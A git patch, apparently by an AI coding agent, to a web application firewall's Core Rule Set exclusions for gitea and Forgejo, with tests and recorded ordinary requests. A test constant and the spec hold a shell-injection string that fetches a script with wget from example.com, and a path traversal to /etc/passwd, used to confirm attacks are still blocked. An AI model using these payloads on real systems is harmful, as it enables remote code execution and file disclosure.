From 5ef701a3813b9903f72c58afd6e625a3bcf16202 Mon Sep 17 00:00:00 2001 From: clawbot Date: Wed, 11 Nov 2026 13:08:23 +0000 Subject: [PATCH] Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346) While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules that refused them, on their own paths: - the web editor's tree_path, commit_summary and content; - new_branch_name of a branch created on the web or the API; - from and to of a renamed branch, on gitea's and Forgejo's paths; - head of a pull request and message of a file, through the API. None applies when the query has a parameter of the same name. The requests were recorded from gitea 1.27.3 and Forgejo 17.0.1. Model: opus-5-5 --- SPEC.md | 39 +++++++-- internal/coreruleset/coreruleset_test.go | 81 +++++++++++++++++++ internal/coreruleset/drupal_test.go | 2 +- internal/coreruleset/forgejo.conf | 11 +++ internal/coreruleset/gitea.conf | 60 ++++++++++++++ internal/coreruleset/recorded_test.go | 23 +++++- .../testdata/forgejo-names-in-bodies.txt | 14 ++++ .../testdata/gitea-names-in-bodies.txt | 14 ++++ internal/coreruleset/vaultwarden_test.go | 2 +- 9 files changed, 236 insertions(+), 10 deletions(-) create mode 100644 internal/coreruleset/testdata/forgejo-names-in-bodies.txt create mode 100644 internal/coreruleset/testdata/gitea-names-in-bodies.txt diff --git a/SPEC.md b/SPEC.md index 9225940..6d33991 100644 --- a/SPEC.md +++ b/SPEC.md @@ -865,6 +865,28 @@ The changes hold in front of every app, and no setting undoes them: - to start a release from a tag; - to edit a branch protection rule; - to list a directory's last commits. + - A file or branch name in a body field: + - `tree_path` of the web editor's save, new file and delete, for system + files, Windows commands and command names (930120, 932120, 932260); + - `commit_summary` there, for system files and Windows commands (930120, + 932120); + - `content` there, the file's text, for a Unix command at the start of a + line (932235); + - `new_branch_name` of a branch created on the web or through the API, + for command names (932260); + - `from` and `to` of a branch renamed on the web, for command names + (932260); + - `head` of a pull request opened through the API, for command names + (932260); + - `message` of a file created, changed or deleted through the API, for + Windows commands (932120). + + Names such as `docker-compose.yml`, `.htaccess` and + `feat/docker-support` were refused. `; wget http://example.com/x.sh` and + path traversal are still refused in these fields. These exclusions + matter only while `SWW_WAF_BODY_LIMIT` is set. None applies when the + query has a parameter of the same name. + - The `Content-Range` header of an artifact upload from `actions/upload-artifact@v3` (920450). - The passwords in a body, for each rule that random passwords set off. The @@ -1570,11 +1592,13 @@ The changes hold in front of every app, and no setting undoes them: `/index.php/`. Elsewhere these fields keep every rule. An app other than Nextcloud that serves one of these paths must check these fields itself. -15. On Forgejo's paths, `q` on the search of a wiki skips the rules that refused - ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth - change applies to its requests too. This change holds only what Forgejo - sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each - rule and the search it refused: +15. On Forgejo's paths, some fields skip the rules that refused ordinary Forgejo + requests there. Forgejo is a fork of gitea, and the eighth change applies to + its requests too. This change holds only what Forgejo sends and gitea does + not. `internal/coreruleset/forgejo.conf` lists each rule and the request it + refused. + + `q` on the search of a wiki skips these rules: - system files (930120), such as `.htaccess`; - Windows commands (932120), such as `powershell`; - shell paths (932160), such as `/bin/sh`; @@ -1586,6 +1610,11 @@ The changes hold in front of every app, and no setting undoes them: at the site root. An app other than Forgejo that serves such a path must check `q` itself. + Forgejo renames a branch at `///settings/rename_branch`, where + gitea uses `///branches/rename`. There, as on gitea's path, + `from` and `to` skip the list of command names (932260), which refused + `feat/docker-support`. This matters only while `SWW_WAF_BODY_LIMIT` is set. + The parameter and cookie names in these changes are matched without regard to case, as Coraza matches them. diff --git a/internal/coreruleset/coreruleset_test.go b/internal/coreruleset/coreruleset_test.go index eae74e7..1eb4151 100644 --- a/internal/coreruleset/coreruleset_test.go +++ b/internal/coreruleset/coreruleset_test.go @@ -1720,6 +1720,9 @@ const scriptTag = "" // pathTraversal is a path traversal, not escaped. const pathTraversal = "../../etc/passwd" +// shellCommand is commandInjection, not escaped. +const shellCommand = "; wget http://example.com/x.sh" + // readingBodies returns the Core Rule Set as sww runs it by // default, but reading bodies up to bodyLimit. func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { @@ -1925,6 +1928,84 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) { wantBody(t, crs, post(multipart), attachment, matched(932180), attachment) } +// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which +// gitea and Forgejo name a file or a branch. Each lets through the name that +// was refused there, and still refuses a shell command after a ";" and a path +// traversal. The same name is still refused in another field on the same path, +// and in the field itself when the query has a parameter of the field's name. +func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) { + t.Parallel() + + const ( + threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default + repo = "/alice/tools" + api = "/api/v1/repos/alice/tools" + ) + + crs := readingBodies(t) + + for _, tc := range []struct { + path, contentType, field, name string + }{ + {repo + "/_edit/main/compose.yml", formData, "tree_path", "docker-compose.yml"}, + {repo + "/_new/main/", formData, "tree_path", "docs/python3-setup.md"}, + {repo + "/_delete/main/.htaccess", formData, "commit_summary", "Remove .htaccess"}, + {repo + "/_new/main/", formData, "content", "# Setup\r\n\r\nInstall the tools.\r\n"}, + {repo + "/branches/_new/branch/main", formData, "new_branch_name", "docker-build"}, + {repo + "/branches/rename", formData, "from", "feat/docker-support"}, + {repo + "/branches/rename", formData, "to", "feat/python3-support"}, + // Forgejo's path for renaming a branch. + {repo + "/settings/rename_branch", formData, "to", "feat/python3-support"}, + {api + "/branches", jsonBody, "new_branch_name", "python3-docs"}, + {api + "/pulls", jsonBody, "head", "feat/docker-support"}, + { + api + "/contents/scripts/powershell-build.ps1", jsonBody, + "message", "Add a PowerShell build script", + }, + } { + r := request{http.MethodPost, tc.path, []string{tc.contentType}} + + body := func(field, value string) string { + if tc.contentType == formData { + return field + "=" + url.QueryEscape(value) + } + + quoted, err := json.Marshal(map[string]string{field: value}) + if err != nil { + t.Fatal(err) + } + + return string(quoted) + } + + if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold { + t.Errorf("%s %s=%q refused: %+v", tc.path, tc.field, tc.name, got) + } + + if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold { + t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got) + } + + param := tc.field + if tc.contentType == jsonBody { + param = "json." + tc.field + } + + queried := request{http.MethodPost, tc.path + "?" + param + "=x", r.headers} + + got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name)) + if got.Score < threshold { + t.Errorf("%s %s=%q let through: %+v", queried.target, tc.field, tc.name, got) + } + + for _, attack := range []string{shellCommand, pathTraversal} { + if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold { + t.Errorf("%s %s=%q let through: %+v", tc.path, tc.field, attack, got) + } + } + } +} + func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) { t.Parallel() diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go index 0cc9074..6d9e446 100644 --- a/internal/coreruleset/drupal_test.go +++ b/internal/coreruleset/drupal_test.go @@ -218,7 +218,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { for _, attack := range []string{ injection, scriptTag, - `; wget http://example.com/x.sh`, + shellCommand, `../../sites/default/settings.php`, } { for _, field := range []string{"name", "mail"} { diff --git a/internal/coreruleset/forgejo.conf b/internal/coreruleset/forgejo.conf index f5171bf..733e974 100644 --- a/internal/coreruleset/forgejo.conf +++ b/internal/coreruleset/forgejo.conf @@ -19,3 +19,14 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \ ctl:ruleRemoveTargetById=932160;ARGS:q,\ ctl:ruleRemoveTargetById=932250;ARGS:q,\ ctl:ruleRemoveTargetById=932260;ARGS:q" + +# Forgejo renames a branch on its own path, where from and to name branches. +# They skip the list of command names (932260), which refused +# feat/docker-support and feat/python3-support. They are read only while +# SWW_WAF_BODY_LIMIT is set, and skip nothing when the query has a parameter of +# the same name. +SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \ + "id:900666,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=932260;ARGS:from,\ + ctl:ruleRemoveTargetById=932260;ARGS:to" diff --git a/internal/coreruleset/gitea.conf b/internal/coreruleset/gitea.conf index abd381c..41e3053 100644 --- a/internal/coreruleset/gitea.conf +++ b/internal/coreruleset/gitea.conf @@ -298,6 +298,66 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \ "id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl" +# The requests below name a file or a branch in a body field, which is read only +# while SWW_WAF_BODY_LIMIT is set. Each field skips the rules that refused it. +# None applies when the query has a parameter of the same name. + +# The web editor's save, new file and delete. The file's path, in tree_path, +# skips these rules: +# 930120: .htaccess +# 932120: scripts/install-script.sh +# 932260: docker-compose.yml +# The commit's summary, in commit_summary, skips these rules: +# 930120: Remove .htaccess +# 932120: Remove scripts/install-script.sh +# The file's text, in content, skips one rule: +# 932235: a line that starts with install +SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/(?:_edit|_new|_delete)/" \ + "id:900660,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:tree_path|commit_summary|content)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:tree_path,\ + ctl:ruleRemoveTargetById=932120;ARGS:tree_path,\ + ctl:ruleRemoveTargetById=932260;ARGS:tree_path,\ + ctl:ruleRemoveTargetById=930120;ARGS:commit_summary,\ + ctl:ruleRemoveTargetById=932120;ARGS:commit_summary,\ + ctl:ruleRemoveTargetById=932235;ARGS:content" + +# The rest name a branch, which skips the list of command names (932260) there. +# It refused docker-build, python3-docs and feat/docker-support. + +# A branch created on the web, in new_branch_name. +SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/_new/" \ + "id:900661,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:new_branch_name "@eq 0" \ + "ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name" + +# A branch renamed on the web, in from and to. +SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/rename$" \ + "id:900662,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=932260;ARGS:from,\ + ctl:ruleRemoveTargetById=932260;ARGS:to" + +# A branch created through the API, in new_branch_name. +SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/branches$" \ + "id:900663,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:json.new_branch_name "@eq 0" \ + "ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch_name" + +# A pull request opened through the API, in head. +SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/pulls$" \ + "id:900664,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:json.head "@eq 0" \ + "ctl:ruleRemoveTargetById=932260;ARGS:json.head" + +# A file created, changed or deleted through the API. The commit's message, in +# message, skips the list of Windows commands (932120), which refused Add a +# PowerShell build script. +SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/contents/" \ + "id:900665,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:json.message "@eq 0" \ + "ctl:ruleRemoveTargetById=932120;ARGS:json.message" + # An artifact upload from actions/upload-artifact@v3 sends the header # Content-Range, which the Core Rule Set refused (920450). SecRule REQUEST_FILENAME \ diff --git a/internal/coreruleset/recorded_test.go b/internal/coreruleset/recorded_test.go index 97ea0e7..b803497 100644 --- a/internal/coreruleset/recorded_test.go +++ b/internal/coreruleset/recorded_test.go @@ -150,9 +150,11 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) { } // TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the -// defaults only. While bodies are read, the Core Rule Set still refuses the -// file and branch names some of them carry in a form or JSON body, as it does -// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses). +// defaults only. While bodies are read, the Core Rule Set still refuses a new +// wiki page whose title and text name commands and files, as it does such text +// in gitea's comments (TestGiteaBodiesTheCoreRuleSetRefuses). The requests +// that name a file or a branch in a body are checked while bodies are read in +// TestForgejoNamesInBodiesPass. func TestOrdinaryForgejoRequestsPass(t *testing.T) { t.Parallel() @@ -168,6 +170,21 @@ func TestOrdinaryForgejoRequestsPass(t *testing.T) { } } +// TestGiteaNamesInBodiesPass checks gitea's recorded requests that name a +// file or a branch in a body, while bodies are read too. +func TestGiteaNamesInBodiesPass(t *testing.T) { + t.Parallel() + + wantRecordedRequestsPass(t, "gitea-names-in-bodies.txt") +} + +// TestForgejoNamesInBodiesPass is TestGiteaNamesInBodiesPass for Forgejo. +func TestForgejoNamesInBodiesPass(t *testing.T) { + t.Parallel() + + wantRecordedRequestsPass(t, "forgejo-names-in-bodies.txt") +} + func TestOrdinaryMastodonRequestsPass(t *testing.T) { t.Parallel() diff --git a/internal/coreruleset/testdata/forgejo-names-in-bodies.txt b/internal/coreruleset/testdata/forgejo-names-in-bodies.txt new file mode 100644 index 0000000..1136ce2 --- /dev/null +++ b/internal/coreruleset/testdata/forgejo-names-in-bodies.txt @@ -0,0 +1,14 @@ +# Ordinary Forgejo 17.0.1 requests that name a file or a branch in a body, which +# the Core Rule Set must let through while it reads bodies. They were recorded +# from a Forgejo driven by a headless Chrome, signed in, and by a script on the +# API. Each line is one request as JSON. Names, cookies and tokens are +# invented. The browser's User-Agent is an ordinary Chrome's. +{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"} +{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=7fdea7fc2e2e31e0acbd7c19e7a79b71b370a535&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"} +{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=550f5bc9ec44f5e1a7421342d5a29584893637e0&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"} +{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=918ad9ba97e11df8bb1153b69029b667a8913ab1&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"} +{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d38a7aa4e96146ab653ff3f4ddfe7c4be030c0ef&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"} +{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"} +{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"} diff --git a/internal/coreruleset/testdata/gitea-names-in-bodies.txt b/internal/coreruleset/testdata/gitea-names-in-bodies.txt new file mode 100644 index 0000000..8ef0b1d --- /dev/null +++ b/internal/coreruleset/testdata/gitea-names-in-bodies.txt @@ -0,0 +1,14 @@ +# Ordinary gitea 1.27.3 requests that name a file or a branch in a body, which +# the Core Rule Set must let through while it reads bodies. They were recorded +# from a gitea driven by a headless Chrome, signed in, and by a script on the +# API. Each line is one request as JSON. Names, cookies and tokens are +# invented. The browser's User-Agent is an ordinary Chrome's. +{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"} +{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 864", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd2r1zGuX9U2OBld1", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nPin nginx\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n0735bcea75feef4e6d8b85866be904fadd379426\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1--\r\n"} +{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 862", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVqkqv2Jr7ji4Kze", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/python3-setup.md\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n\r\nInstall the tools.\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n71e995c2394ac116247f342fb116b0058e1ec738\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze--\r\n"} +{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 621", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQH6Zh33PIE4XdrL5", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove .htaccess\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nd44f04577d741b385554aaf75898d84c0e6be0e4\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5--\r\n"} +{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 637", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5NJfG6GBxpj4Yj1g", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove scripts/install-script.sh\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ne0855ca76e18ad6cc42b3ed5c99247293522f926\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g--\r\n"} +{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"} +{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: 